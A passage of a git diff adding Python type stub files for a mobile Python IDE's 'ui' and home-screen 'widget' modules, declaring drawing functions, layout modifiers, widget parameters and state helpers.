Optional[BaseException], + tb: Optional[TracebackType], + ) -> bool: ... + def get_image(self) -> Optional[Image]: ... + +class Image: + def __init__(self, data: bytes = ...) -> None: ... + @classmethod + def from_data(cls, data: bytes) -> Image: ... + @classmethod + def from_image_context(cls) -> Image: ... + @classmethod + def named(cls, name: str) -> Image: ... + @property + def size(self) -> Size: ... + def draw( + self, + x: float = ..., + y: float = ..., + width: Optional[float] = ..., + height: Optional[float] = ..., + ) -> None: ... + def resizable_image(self, top: float, left: float, bottom: float, right: float) -> Image: ... + def with_rendering_mode(self, mode: int) -> Image: ... + @property + def rendering_mode(self) -> int: ... + @rendering_mode.setter + def rendering_mode(self, value: int) -> None: ... + @property + def scale(self) -> float: ... + def crop(self, rect: Any) -> Image: ... + def clip_to_mask(self, mask: Image) -> Image: ... + def to_png(self) -> bytes: ... + def to_jpeg(self, compression_quality: float = ...) -> bytes: ... + def show(self) -> None: ... + +def begin_image_context(width: float, height: float) -> None: ... +def end_image_context() -> None: ... +def get_image_from_current_context() -> Image: ... +def set_color(color: _ColorLike) -> None: ... +def fill_rect(x: float, y: float, w: float, h: float) -> None: ... +def stroke_rect(x: float, y: float, w: float, h: float) -> None: ... +def draw_string( + text: str, + rect: Any = ..., + font: _FontLike = ..., + color: _ColorLike = ..., + alignment: int = ..., + line_break_mode: int = ..., +) -> None: ... + +class CanvasView(View): + def __init__(self, frame: Optional[_Frame] = ..., **kwargs: Any) -> None: ... + def render(self, draw_func: Callable[[], None]) -> None: ... + +def get_screen_size() -> Tuple[float, float]: ... +def get_window_size() -> Size: ... +def get_keyboard_frame() -> Tuple[float, float, float, float]: ... +def get_ui_style() -> str: ... +def measure_string( + text: str, + max_width: float = ..., + font: _FontLike = ..., + alignment: int = ..., + line_break_mode: int = ..., +) -> Tuple[float, float]: ... +def delay(seconds: float, func: Callable[..., Any]) -> None: ... +def cancel_delays() -> None: ... +def in_background(fn: Callable[..., Any]) -> Callable[..., None]: ... +def animate( + animation: Callable[[], Any], + duration: float = ..., + delay_sec: float = ..., + completion: Optional[Callable[[], Any]] = ..., +) -> None: ... +def convert_point( + point: Any = ..., + from_view: Optional[View] = ..., + to_view: Optional[View] = ..., +) -> Point: ... +def convert_rect( + rect: Any = ..., + from_view: Optional[View] = ..., + to_view: Optional[View] = ..., +) -> Rect: ... +def set_blend_mode(mode: int) -> None: ... +def set_shadow( + color: Optional[_ColorLike], + offset_x: float, + offset_y: float, + blur_radius: float, +) -> None: ... + +class autoreleasepool: + def __enter__(self) -> autoreleasepool: ... + def __exit__( + self, + exc_type: Optional[type[BaseException]], + exc: Optional[BaseException], + tb: Optional[TracebackType], + ) -> bool: ... + +def load_view( + name: Optional[str] = ..., + bindings: Optional[Dict[str, Any]] = ..., + stackframe: Any = ..., + verbose: bool = ..., +) -> View: ... +def load_view_str( + json_str: str, + bindings: Optional[Dict[str, Any]] = ..., + stackframe: Any = ..., + verbose: bool = ..., +) -> View: ... +def close_all(animated: bool = ...) -> None: ... +def dump_view(view: View, indent: int = ...) -> None: ... + +__all__ = [ + "View", + "Button", + "Label", + "TextField", + "TextView", + "ImageView", + "Switch", + "Slider", + "SegmentedControl", + "DatePicker", + "ScrollView", + "CanvasView", + "ActivityIndicator", + "TableView", + "WebView", + "NavigationView", + "ButtonItem", + "ProgressView", + "Stepper", + "ListDataSource", + "TableViewCell", + "GestureRecognizer", + "TapGestureRecognizer", + "PanGestureRecognizer", + "PinchGestureRecognizer", + "SwipeGestureRecognizer", + "LongPressGestureRecognizer", + "GestureSender", + "Color", + "Font", + "Path", + "GState", + "ImageContext", + "Image", + "Point", + "Size", + "Rect", + "Transform", + "Touch", + "parse_color", + "parse_font", + "set_color", + "fill_rect", + "stroke_rect", + "draw_string", + "begin_image_context", + "end_image_context", + "get_image_from_current_context", + "ALIGN_LEFT", + "ALIGN_CENTER", + "ALIGN_RIGHT", + "ALIGN_JUSTIFIED", + "ALIGN_NATURAL", + "LB_WORD_WRAP", + "LB_CHAR_WRAP", + "LB_CLIP", + "LB_TRUNCATE_HEAD", + "LB_TRUNCATE_TAIL", + "LB_TRUNCATE_MIDDLE", + "KEYBOARD_DEFAULT", + "KEYBOARD_ASCII", + "KEYBOARD_NUMBERS", + "KEYBOARD_URL", + "KEYBOARD_NUMBER_PAD", + "KEYBOARD_PHONE_PAD", + "KEYBOARD_NAME_PHONE_PAD", + "KEYBOARD_EMAIL", + "KEYBOARD_DECIMAL_PAD", + "KEYBOARD_TWITTER", + "KEYBOARD_WEB_SEARCH", + "BLEND_NORMAL", + "BLEND_MULTIPLY", + "BLEND_SCREEN", + "BLEND_OVERLAY", + "BLEND_DARKEN", + "BLEND_LIGHTEN", + "BLEND_COLOR_DODGE", + "BLEND_COLOR_BURN", + "BLEND_SOFT_LIGHT", + "BLEND_HARD_LIGHT", + "BLEND_DIFFERENCE", + "BLEND_EXCLUSION", + "BLEND_HUE", + "BLEND_SATURATION", + "BLEND_COLOR", + "BLEND_LUMINOSITY", + "BLEND_CLEAR", + "BLEND_COPY", + "BLEND_SOURCE_IN", + "BLEND_SOURCE_OUT", + "BLEND_SOURCE_ATOP", + "BLEND_DESTINATION_OVER", + "BLEND_DESTINATION_IN", + "BLEND_DESTINATION_OUT", + "BLEND_DESTINATION_ATOP", + "BLEND_XOR", + "BLEND_PLUS_DARKER", + "BLEND_PLUS_LIGHTER", + "RENDERING_MODE_AUTOMATIC", + "RENDERING_MODE_ORIGINAL", + "RENDERING_MODE_TEMPLATE", + "LINE_CAP_BUTT", + "LINE_CAP_ROUND", + "LINE_CAP_SQUARE", + "LINE_JOIN_MITER", + "LINE_JOIN_ROUND", + "LINE_JOIN_BEVEL", + "CONTENT_SCALE_ASPECT_FIT", + "CONTENT_SCALE_ASPECT_FILL", + "CONTENT_SCALE_TO_FILL", + "CONTENT_REDRAW", + "CONTENT_CENTER", + "CONTENT_TOP", + "CONTENT_BOTTOM", + "CONTENT_LEFT", + "CONTENT_RIGHT", + "CONTENT_TOP_LEFT", + "CONTENT_TOP_RIGHT", + "CONTENT_BOTTOM_LEFT", + "CONTENT_BOTTOM_RIGHT", + "DATE_PICKER_MODE_TIME", + "DATE_PICKER_MODE_DATE", + "DATE_PICKER_MODE_DATE_AND_TIME", + "DATE_PICKER_MODE_COUNTDOWN", + "ACTIVITY_INDICATOR_STYLE_GRAY", + "ACTIVITY_INDICATOR_STYLE_WHITE", + "ACTIVITY_INDICATOR_STYLE_WHITE_LARGE", + "get_screen_size", + "get_window_size", + "get_keyboard_frame", + "get_ui_style", + "load_view", + "load_view_str", + "close_all", + "dump_view", + "animate", + "delay", + "cancel_delays", + "in_background", + "convert_point", + "convert_rect", + "measure_string", + "set_blend_mode", + "set_shadow", + "autoreleasepool", +] diff --git a/docs/stubs/widget.pyi b/docs/stubs/widget.pyi new file mode 100644 index 0000000..b363de6 --- /dev/null +++ b/docs/stubs/widget.pyi @@ -0,0 +1,1608 @@ +"""widget — Python IDE 小组件模块 — Type stubs.""" + +import sys +from datetime import datetime +from typing import Any, Dict, List, Optional, Sequence, Tuple, Union + +if sys.version_info >= (3, 11): + from typing import Self +else: + from typing_extensions import Self + +# ── Type aliases ── + +ColorLike = Union[str, Tuple[str, str], Dict[str, Any]] +"""Solid color, (light, dark) pair, or structured Widget V3 color token.""" + +ImageLike = Union[str, Tuple[str, str], Dict[str, Any]] +"""Image reference string or light/dark image pair.""" + +WidgetBackground = Union[str, Tuple[str, str], Dict[str, Any]] +"""Widget root/surface/button background: solid, (light, dark), ``\"system\"``, or gradient dict.""" + +RichTextPart = Union[str, Tuple[Any, ...], Dict[str, Any]] +"""One rich text run: string, tuple like ``(text, color, weight)``, or dict.""" + +PathPoint = Union[Tuple[float, float], List[float], Dict[str, float]] +"""One path point as ``(x, y)``, ``[x, y]``, or ``{"x": x, "y": y}``.""" + +# ── Size / family constants (match iOS WidgetFamily) ── + +SMALL = "small" +MEDIUM = "medium" +LARGE = "large" +CIRCULAR = "circular" +RECTANGULAR = "rectangular" +INLINE = "inline" + +# ── Dynamic / module state ── + +family: str +"""Current widget family (from ``WIDGET_FAMILY`` env, default ``medium``).""" + +# ── Internal helper types exposed only for attribute typing ── + + +class _Params: + def get(self, key: str, default: Any = None) -> Any: ... + def declare( + self, + name: str, + default: Any = "", + *, + title: Optional[str] = None, + kind: str = "text", + min: Optional[float] = None, + max: Optional[float] = None, + step: Optional[float] = None, + options: Optional[Sequence[Any]] = None, + extensions: Optional[Sequence[str]] = None, + description: Optional[str] = None, + group: Optional[str] = None, + unit: Optional[str] = None, + order: Optional[float] = None, + hidden: bool = False, + placeholder: Optional[str] = None, + role: Optional[str] = None, + live: Optional[bool] = None, + ) -> Any: ... + def text( + self, + name: str, + default: str = "", + *, + title: Optional[str] = None, + description: Optional[str] = None, + group: Optional[str] = None, + order: Optional[float] = None, + hidden: bool = False, + placeholder: Optional[str] = None, + role: Optional[str] = None, + live: Optional[bool] = None, + ) -> str: ... + def color( + self, + name: str, + default: ColorLike = "#2563EB", + *, + title: Optional[str] = None, + description: Optional[str] = None, + group: Optional[str] = None, + order: Optional[float] = None, + hidden: bool = False, + role: Optional[str] = None, + live: bool = True, + ) -> str: ... + def file( + self, + name: str, + default: str = "", + *, + title: Optional[str] = None, + extensions: Optional[Sequence[str]] = None, + description: Optional[str] = None, + group: Optional[str] = None, + order: Optional[float] = None, + hidden: bool = False, + placeholder: Optional[str] = None, + role: Optional[str] = None, + live: Optional[bool] = None, + ) -> str: ... + def number( + self, + name: str, + default: Union[int, float] = 0, + *, + title: Optional[str] = None, + min: Optional[float] = None, + max: Optional[float] = None, + step: Optional[float] = None, + description: Optional[str] = None, + group: Optional[str] = None, + unit: Optional[str] = None, + order: Optional[float] = None, + hidden: bool = False, + role: Optional[str] = None, + live: bool = True, + ) -> Union[int, float]: ... + + def slider( + self, + name: str, + default: Union[int, float] = 0, + *, + title: Optional[str] = None, + min: float = 0, + max: float = 1, + step: float = 0.01, + description: Optional[str] = None, + group: Optional[str] = None, + unit: Optional[str] = None, + order: Optional[float] = None, + hidden: bool = False, + role: Optional[str] = None, + live: bool = True, + ) -> Union[int, float]: ... + def bool( + self, + name: str, + default: bool = False, + *, + title: Optional[str] = None, + description: Optional[str] = None, + group: Optional[str] = None, + order: Optional[float] = None, + hidden: bool = False, + role: Optional[str] = None, + live: bool = True, + ) -> bool: ... + def choice( + self, + name: str, + options: Sequence[Any], + default: Optional[Any] = None, + *, + title: Optional[str] = None, + description: Optional[str] = None, + group: Optional[str] = None, + order: Optional[float] = None, + hidden: bool = False, + role: Optional[str] = None, + live: Optional[bool] = None, + ) -> str: ... + def __getattr__(self, name: str) -> Any: ... + + +class _WidgetColorProxy: + def fixed(self, value: ColorLike) -> Dict[str, Any]: ... + def adaptive(self, light: ColorLike, dark: ColorLike) -> Dict[str, Any]: ... + def role(self, name: str) -> Dict[str, Any]: ... + def semantic(self, name: str) -> Dict[str, Any]: ... + + +class _Storage: + def get(self, key: str, default: Any = None) -> Any: ... + def set(self, key: str, value: Any) -> None: ... + + +param: _Params +"""Studio-editable widget parameter declarations. Prefer ``widget.param`` in new scripts.""" + +params: _Params +"""Compatibility alias for ``widget.param``.""" + +color: _WidgetColorProxy +storage: _Storage + + +class _ContainerContext: + def __enter__(self) -> Self: ... + def __exit__( + self, + exc_type: Optional[type], + exc_val: Optional[BaseException], + exc_tb: Optional[Any], + ) -> None: ... + def shadow( + self, + color: ColorLike = "#000000", + radius: float = 4, + x: float = 0, + y: float = 2, + ) -> Self: ... + def background(self, value: WidgetBackground) -> Self: ... + def overlay(self, color: ColorLike = "#000000", opacity: float = 0.18) -> Self: ... + def overlay_view(self, align: str = "center") -> Self: ... + def clip(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def clip_shape(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def mask(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def reverse_mask(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def mask_view(self, align: str = "center") -> Self: ... + def link(self, url: str) -> Self: ... + def accessibility( + self, + label: Optional[str] = None, + value: Optional[str] = None, + hint: Optional[str] = None, + hidden: Optional[bool] = None, + ) -> Self: ... + def animation(self, value: str = "default") -> Self: ... + def content_transition(self, value: str = "opacity") -> Self: ... + def transition(self, value: str = "opacity", edge: Optional[str] = None) -> Self: ... + def id(self, value: Any) -> Self: ... + def invalidatable(self, enabled: bool = True) -> Self: ... + def plain(self, enabled: bool = True) -> Self: ... + def button_style(self, value: str = "plain") -> Self: ... + def toggle_style(self, value: str = "checkbox") -> Self: ... + def control_style(self, value: str = "plain") -> Self: ... + def control_layout(self, value: str = "overlay") -> Self: ... + def pressed(self, **style: Any) -> Self: ... + def normal(self, **style: Any) -> Self: ... + def checked_marker( + self, + state: Optional[Any] = None, + item: Optional[Any] = None, + *, + checked: Optional[bool] = None, + color: ColorLike = "#F59E0B", + dark_color: Optional[ColorLike] = None, + width: Optional[float] = None, + width2: Optional[float] = None, + height: Optional[float] = None, + tilt: Optional[float] = None, + drift: Optional[float] = None, + ) -> Self: ... + def intent(self, action: Union[str, WidgetIntentSpec]) -> Self: ... + def rotation(self, degrees: float) -> Self: ... + def rotate(self, degrees: float) -> Self: ... + def scale(self, value: float) -> Self: ... + def accentable(self, enabled: bool = True) -> Self: ... + def privacy_sensitive(self, enabled: bool = True) -> Self: ... + def redacted(self, reason: str = "placeholder") -> Self: ... + def capsule( + self, + tone: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + ) -> Self: ... + def soft_background( + self, + tone: Optional[str] = None, + corner_radius: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> Self: ... + def slot(self, value: str) -> Self: ... + def alignment(self, value: str) -> Self: ... + def place(self, x: Optional[float] = None, y: Optional[float] = None, unit: str = "relative") -> Self: ... + def position(self, x: Optional[float] = None, y: Optional[float] = None, unit: str = "points") -> Self: ... + def pixel_perfect_center(self, enabled: bool = True) -> Self: ... + def frame(self, **kwargs: Any) -> Self: ... + def offset(self, x: float = 0, y: float = 0) -> Self: ... + def layout_priority(self, value: float = 1) -> Self: ... + def fixed_size(self, horizontal: bool = True, vertical: bool = True) -> Self: ... + def importance(self, value: str = "primary") -> Self: ... + def preserve(self, enabled: bool = True) -> Self: ... + def overflow( + self, + action: Optional[str] = None, + *, + importance: Optional[str] = None, + preserve: Optional[bool] = None, + ) -> Self: ... + def hide(self, *families: str) -> Self: ... + + +class _CanvasSize: + width: float + height: float + family: str + def __iter__(self) -> Any: ... + + +class _WidgetContext: + family: str + width: float + height: float + content_width: float + content_height: float + size: _CanvasSize + content_size: _CanvasSize + def is_family(self, *families: str) -> bool: ... + def value(self, default: Any = None, **values: Any) -> Any: ... + + +class _CanvasFrame: + x: float + y: float + width: float + height: float + center_x: float + center_y: float + center: Tuple[float, float] + frame: Dict[str, float] + def inset( + self, + value: Union[int, float] = 0, + *, + horizontal: Optional[float] = None, + vertical: Optional[float] = None, + top: Optional[float] = None, + leading: Optional[float] = None, + bottom: Optional[float] = None, + trailing: Optional[float] = None, + ) -> "_CanvasFrame": ... + def apply(self, target: Union["_WidgetNodeHandle", _ContainerContext]) -> Union["_WidgetNodeHandle", _ContainerContext]: ... + + +class _CanvasGrid: + bounds: _CanvasFrame + rows: int + columns: int + cell_width: float + cell_height: float + def cell( + self, + index: Optional[int] = None, + column: Optional[int] = None, + row: Optional[int] = None, + *, + col: Optional[int] = None, + row_span: int = 1, + column_span: int = 1, + col_span: Optional[int] = None, + inset: Union[int, float] = 0, + ) -> _CanvasFrame: ... + def horizontal_rule(self, index: int, thickness: Optional[float] = None) -> _CanvasFrame: ... + def vertical_rule(self, index: int, thickness: Optional[float] = None) -> _CanvasFrame: ... + def horizontal_rules(self, thickness: Optional[float] = None) -> List[_CanvasFrame]: ... + def vertical_rules(self, thickness: Optional[float] = None) -> List[_CanvasFrame]: ... + + +class _CanvasContext(_ContainerContext): + size: _CanvasSize + def frame( + self, + x: float = 0, + y: float = 0, + width: Optional[float] = None, + height: Optional[float] = None, + *, + inset: Union[int, float] = 0, + ) -> _CanvasFrame: ... + def grid( + self, + rows: int, + columns: int, + *, + padding: Union[int, float] = 0, + gap: Union[int, float] = 0, + row_gap: Optional[float] = None, + column_gap: Optional[float] = None, + line_width: Optional[float] = None, + border: bool = False, + x: float = 0, + y: float = 0, + width: Optional[float] = None, + height: Optional[float] = None, + ) -> _CanvasGrid: ... + def place_in(self, target: Union["_WidgetNodeHandle", _ContainerContext], frame: _CanvasFrame) -> Union["_WidgetNodeHandle", _ContainerContext]: ... + def rect_in( + self, + frame: _CanvasFrame, + color: Optional[ColorLike] = None, + *, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + ) -> "_WidgetNodeHandle": ... + def line( + self, + x1: float, + y1: float, + x2: float, + y2: float, + color: Optional[ColorLike] = None, + *, + width: Union[float, str] = 1, + opacity: Optional[float] = None, + cap: Optional[str] = None, + join: Optional[str] = None, + dash: Optional[Sequence[float]] = None, + miter_limit: Optional[float] = None, + ) -> "_WidgetNodeHandle": ... + + +class _TableContext(_ContainerContext): + rows: int + columns: int + def cell( + self, + row: int, + column: Optional[int] = None, + *, + col: Optional[int] = None, + row_span: int = 1, + column_span: int = 1, + col_span: Optional[int] = None, + inset: Optional[float] = None, + align: str = "center", + ) -> _ContainerContext: ... + + +class _WidgetNodeHandle: + def __enter__(self) -> Self: ... + def __exit__( + self, + exc_type: Optional[type], + exc_val: Optional[BaseException], + exc_tb: Optional[Any], + ) -> None: ... + def _set_color(self, value: ColorLike, key: str = "color") -> Self: ... + def _set_background(self, value: WidgetBackground) -> Self: ... + def _set_frame(self, frame: Dict[str, Any]) -> Self: ... + def color(self, value: ColorLike) -> Self: ... + def tone(self, value: str) -> Self: ... + def font( + self, + value: Optional[Union[str, int, float, Dict[str, Any]]] = None, + *, + size: Optional[Union[float, Dict[str, Any]]] = None, + weight: Optional[str] = None, + **size_values: Any, + ) -> Self: ... + def font_style(self, style: str) -> Self: ... + def font_size(self, size: float) -> Self: ... + def font_weight(self, weight: str) -> Self: ... + def font_width(self, width: str) -> Self: ... + def monospaced(self, enabled: bool = True) -> Self: ... + def monospaced_digit(self, enabled: bool = True) -> Self: ... + def compressed(self, enabled: bool = True) -> Self: ... + def height(self, value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self: ... + def width(self, value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self: ... + def padding( + self, + value: Optional[Union[int, float]] = None, + *, + horizontal: Optional[float] = None, + vertical: Optional[float] = None, + top: Optional[float] = None, + leading: Optional[float] = None, + bottom: Optional[float] = None, + trailing: Optional[float] = None, + ) -> Self: ... + def align(self, value: str) -> Self: ... + def corner_radius(self, value: float) -> Self: ... + def opacity(self, value: float) -> Self: ... + def guide_lines(self, count: Union[bool, int] = True, color: Optional[ColorLike] = None) -> Self: ... + def grid(self, count: Union[bool, int] = True, color: Optional[ColorLike] = None) -> Self: ... + def points(self, enabled: bool = True) -> Self: ... + def fill(self, enabled: bool = True) -> Self: ... + def line_width(self, value: Union[float, str]) -> Self: ... + def stroke( + self, + color: Optional[ColorLike] = None, + *, + width: Optional[Union[float, str]] = None, + dash: Optional[Sequence[float]] = None, + cap: Optional[str] = None, + join: Optional[str] = None, + miter_limit: Optional[float] = None, + ) -> Self: ... + def fill_color(self, value: ColorLike) -> Self: ... + def track_color(self, value: ColorLike) -> Self: ... + def bar_spacing(self, value: float) -> Self: ... + def segment_colors(self, colors: List[ColorLike]) -> Self: ... + def baseline(self, value: float = 0, color: Optional[ColorLike] = None) -> Self: ... + def threshold(self, value: float, color: Optional[ColorLike] = None) -> Self: ... + def labels( + self, + start: Optional[Union[str, int, float]] = None, + end: Optional[Union[str, int, float]] = None, + color: Optional[ColorLike] = None, + ) -> Self: ... + def line_limit(self, value: int) -> Self: ... + def min_scale(self, value: float) -> Self: ... + def animation( + self, + value: str = "default", + *, + duration: Optional[float] = None, + value_by: Optional[Any] = None, + ) -> Self: ... + def content_transition(self, value: str = "opacity") -> Self: ... + def transition(self, value: str = "opacity", edge: Optional[str] = None) -> Self: ... + def id(self, value: Any) -> Self: ... + def invalidatable(self, enabled: bool = True) -> Self: ... + def plain(self, enabled: bool = True) -> Self: ... + def button_style(self, value: str = "plain") -> Self: ... + def toggle_style(self, value: str = "checkbox") -> Self: ... + def control_style(self, value: str = "plain") -> Self: ... + def control_layout(self, value: str = "overlay") -> Self: ... + def pressed(self, **style: Any) -> Self: ... + def normal(self, **style: Any) -> Self: ... + def intent(self, action: Union[str, WidgetIntentSpec]) -> Self: ... + def rotation(self, degrees: float) -> Self: ... + def rotate(self, degrees: float) -> Self: ... + def scale(self, value: Union[float, str]) -> Self: ... + def rendering(self, mode: str, colors: Optional[Sequence[ColorLike]] = None) -> Self: ... + def palette(self, colors: Sequence[ColorLike]) -> Self: ... + def variant(self, value: str) -> Self: ... + def accentable(self, enabled: bool = True) -> Self: ... + def privacy_sensitive(self, enabled: bool = True) -> Self: ... + def redacted(self, reason: str = "placeholder") -> Self: ... + def shadow( + self, + color: ColorLike = "#000000", + radius: float = 4, + x: float = 0, + y: float = 2, + ) -> Self: ... + def background(self, value: WidgetBackground) -> Self: ... + def overlay(self, color: ColorLike = "#000000", opacity: float = 0.18) -> Self: ... + def overlay_view(self, align: str = "center") -> _ContainerContext: ... + def clip(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def clip_shape(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def mask(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def reverse_mask(self, kind: str = "roundedRectangle", corner_radius: Optional[float] = None) -> Self: ... + def mask_view(self, align: str = "center") -> _ContainerContext: ... + def link(self, url: str) -> Self: ... + def accessibility( + self, + label: Optional[str] = None, + value: Optional[str] = None, + hint: Optional[str] = None, + hidden: Optional[bool] = None, + ) -> Self: ... + def capsule( + self, + tone: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + ) -> Self: ... + def soft_background( + self, + tone: Optional[str] = None, + corner_radius: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> Self: ... + def slot(self, value: str) -> Self: ... + def alignment(self, value: str) -> Self: ... + def place(self, x: Optional[float] = None, y: Optional[float] = None, unit: str = "relative") -> Self: ... + def position(self, x: Optional[float] = None, y: Optional[float] = None, unit: str = "points") -> Self: ... + def pixel_perfect_center(self, enabled: bool = True) -> Self: ... + def frame(self, **kwargs: Any) -> Self: ... + def offset(self, x: float = 0, y: float = 0) -> Self: ... + def layout_priority(self, value: float = 1) -> Self: ... + def fixed_size(self, horizontal: bool = True, vertical: bool = True) -> Self: ... + def importance(self, value: str = "primary") -> Self: ... + def preserve(self, enabled: bool = True) -> Self: ... + def overflow( + self, + action: Optional[str] = None, + *, + importance: Optional[str] = None, + preserve: Optional[bool] = None, + ) -> Self: ... + def hide(self, *families: str) -> Self: ... + + +class _WidgetBlockHandle: + def color(self, value: ColorLike) -> Self: ... + def tone(self, value: str) -> Self: ... + def accent(self, value: ColorLike) -> Self: ... + def height(self, value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self: ... + def width(self, value: Optional[Union[float, Dict[str, Any]]] = None, **values: Any) -> Self: ... + def padding( + self, + value: Optional[Union[int, float]] = None, + *, + horizontal: Optional[float] = None, + vertical: Optional[float] = None, + top: Optional[float] = None, + leading: Optional[float] = None, + bottom: Optional[float] = None, + trailing: Optional[float] = None, + ) -> Self: ... + def background(self, value: WidgetBackground) -> Self: ... + def corner_radius(self, value: float) -> Self: ... + def opacity(self, value: float) -> Self: ... + def align(self, value: str) -> Self: ... + def slot(self, value: str) -> Self: ... + def font( + self, + value: Optional[Union[str, int, float, Dict[str, Any]]] = None, + *, + size: Optional[Union[float, Dict[str, Any]]] = None, + weight: Optional[str] = None, + **sizes: Any, + ) -> Self: ... + def monospaced(self, enabled: bool = True) -> Self: ... + def compressed(self, enabled: bool = True) -> Self: ... + def line_limit(self, value: int) -> Self: ... + def min_scale(self, value: float) -> Self: ... + def shadow( + self, + color: ColorLike = "#000000", + radius: float = 4, + x: float = 0, + y: float = 2, + ) -> Self: ... + def animation(self, value: str = "default") -> Self: ... + def transition(self, value: str = "opacity", edge: Optional[str] = None) -> Self: ... + def id(self, value: Any) -> Self: ... + def importance(self, value: str = "primary") -> Self: ... + def preserve(self, enabled: bool = True) -> Self: ... + def overflow( + self, + action: Optional[str] = None, + *, + importance: Optional[str] = None, + preserve: Optional[bool] = None, + ) -> Self: ... + def hide(self, *families: str) -> Self: ... + + +def save_image(source: Union[str, bytes], name: str, *, variant: Optional[str] = None) -> str: ... + + +def preview(family: Optional[str] = None) -> None: ... + + +def reload_user_widgets() -> None: ... + + +def reload_test_widgets() -> None: ... + + +def family_value(default: Any = None, **values: Any) -> Any: ... + + +context: _WidgetContext + + +def history( + key: str, + value: Any = None, + limit: int = 7, + *, + bucket: Optional[str] = "day", + default: Any = None, +) -> Any: ... + + +def cache_json( + url: str, + *, + ttl: Optional[float] = 3600, + default: Any = None, + params: Optional[Dict[str, Any]] = None, + headers: Optional[Dict[str, str]] = None, + key: Optional[str] = None, + timeout: float = 8, +) -> Any: ... + + +def schema() -> Dict[str, Any]: ... + + +def agent_schema() -> Dict[str, Any]: ... + + +def validate_layout(document: Union[Dict[str, Any], "Widget"], family: Optional[str] = None) -> Dict[str, Any]: ... + + +class WidgetIntentSpec: + id: str + kind: str + args: Dict[str, str] + requires_app_launch: bool + def to_ir(self) -> Dict[str, Any]: ... + + +class _WidgetStateText(str): + key: str + state_type: str + default: Any + def text(self, template: str = "{}") -> "_WidgetStateText": ... + def format(self, template: str = "{}") -> "_WidgetStateText": ... + def prefix(self, value: Any) -> "_WidgetStateText": ... + def suffix(self, value: Any) -> "_WidgetStateText": ... + def set(self, value: Any) -> WidgetIntentSpec: ... + + +class _WidgetStateInt(int): + key: str + state_type: str + default: int + def text(self, template: str = "{}") -> _WidgetStateText: ... + def format(self, template: str = "{}") -> _WidgetStateText: ... + def prefix(self, value: Any) -> _WidgetStateText: ... + def suffix(self, value: Any) -> _WidgetStateText: ... + def set(self, value: Union[int, float]) -> WidgetIntentSpec: ... + def increment(self, by: Union[int, float] = 1) -> WidgetIntentSpec: ... + def decrement(self, by: Union[int, float] = 1) -> WidgetIntentSpec: ... + + +class _WidgetStateFloat(float): + key: str + state_type: str + default: float + def text(self, template: str = "{}") -> _WidgetStateText: ... + def format(self, template: str = "{}") -> _WidgetStateText: ... + def prefix(self, value: Any) -> _WidgetStateText: ... + def suffix(self, value: Any) -> _WidgetStateText: ... + def set(self, value: Union[int, float]) -> WidgetIntentSpec: ... + def increment(self, by: Union[int, float] = 1) -> WidgetIntentSpec: ... + def decrement(self, by: Union[int, float] = 1) -> WidgetIntentSpec: ... + + +class _WidgetStateString(str): + key: str + state_type: str + default: str + def text(self, template: str = "{}") -> _WidgetStateText: ... + def format(self, template: str = "{}") -> _WidgetStateText: ... + def prefix(self, value: Any) -> _WidgetStateText: ... + def suffix(self, value: Any) -> _WidgetStateText: ... + def set(self, value: str) -> WidgetIntentSpec: ... + + +class _WidgetStateBool: + key: str + state_type: str + default: bool + def __bool__(self) -> bool: ... + def text(self, template: str = "{}") -> _WidgetStateText: ... + def format(self, template: str = "{}") -> _WidgetStateText: ... + def prefix(self, value: Any) -> _WidgetStateText: ... + def suffix(self, value: Any) -> _WidgetStateText: ... + def set(self, value: bool) -> WidgetIntentSpec: ... + def toggle(self) -> WidgetIntentSpec: ... + + +class _WidgetStateList(List[Any]): + key: str + state_type: str + default: List[Any] + def contains(self, item: Any) -> bool: ... + def toggle_item(self, item: Any) -> WidgetIntentSpec: ... + + +class _WidgetStateProxy: + def get(self, key: str, default: Any = None) -> Any: ... + def set(self, key: str, value: Any) -> Any: ... + def int(self, key: str, default: int = 0) -> _WidgetStateInt: ... + def float(self, key: str, default: float = 0.0) -> _WidgetStateFloat: ... + def bool(self, key: str, default: bool = False) -> _WidgetStateBool: ... + def str(self, key: str, default: str = "") -> _WidgetStateString: ... + def list(self, key: str, default: Optional[Sequence[Any]] = None) -> _WidgetStateList: ... + def set_intent(self, key: str, value: Any) -> WidgetIntentSpec: ... + def toggle_intent(self, key: str) -> WidgetIntentSpec: ... + def toggle_item_intent(self, key: str, item: Any) -> WidgetIntentSpec: ... + def increment_intent(self, key: str, by: Union[int, float] = 1) -> WidgetIntentSpec: ... + def decrement_intent(self, key: str, by: Union[int, float] = 1) -> WidgetIntentSpec: ... + + +state: _WidgetStateProxy + + +class _WidgetEntryText(str): + key: str + def text(self, template: str = "{}") -> "_WidgetEntryText": ... + def format(self, template: str = "{}") -> "_WidgetEntryText": ... + def prefix(self, value: Any) -> "_WidgetEntryText": ... + def suffix(self, value: Any) -> "_WidgetEntryText": ... + + +class _WidgetEntryValue(str): + key: str + entry_type: str + default: Any + def text(self, template: str = "{}") -> _WidgetEntryText: ... + def format(self, template: str = "{}") -> _WidgetEntryText: ... + def prefix(self, value: Any) -> _WidgetEntryText: ... + def suffix(self, value: Any) -> _WidgetEntryText: ... + + +class _WidgetEntryProxy: + def value(self, key: str, default: Any = "", type: str = "str") -> _WidgetEntryValue: ... + def int(self, key: str, default: int = 0) -> _WidgetEntryValue: ... + def float(self, key: str, default: float = 0.0) -> _WidgetEntryValue: ... + def bool(self, key: str, default: bool = False) -> _WidgetEntryValue: ... + def str(self, key: str, default: str = "") -> _WidgetEntryValue: ... + def __getattr__(self, key: str) -> _WidgetEntryValue: ... + def __getitem__(self, key: str) -> _WidgetEntryValue: ... + + +entry: 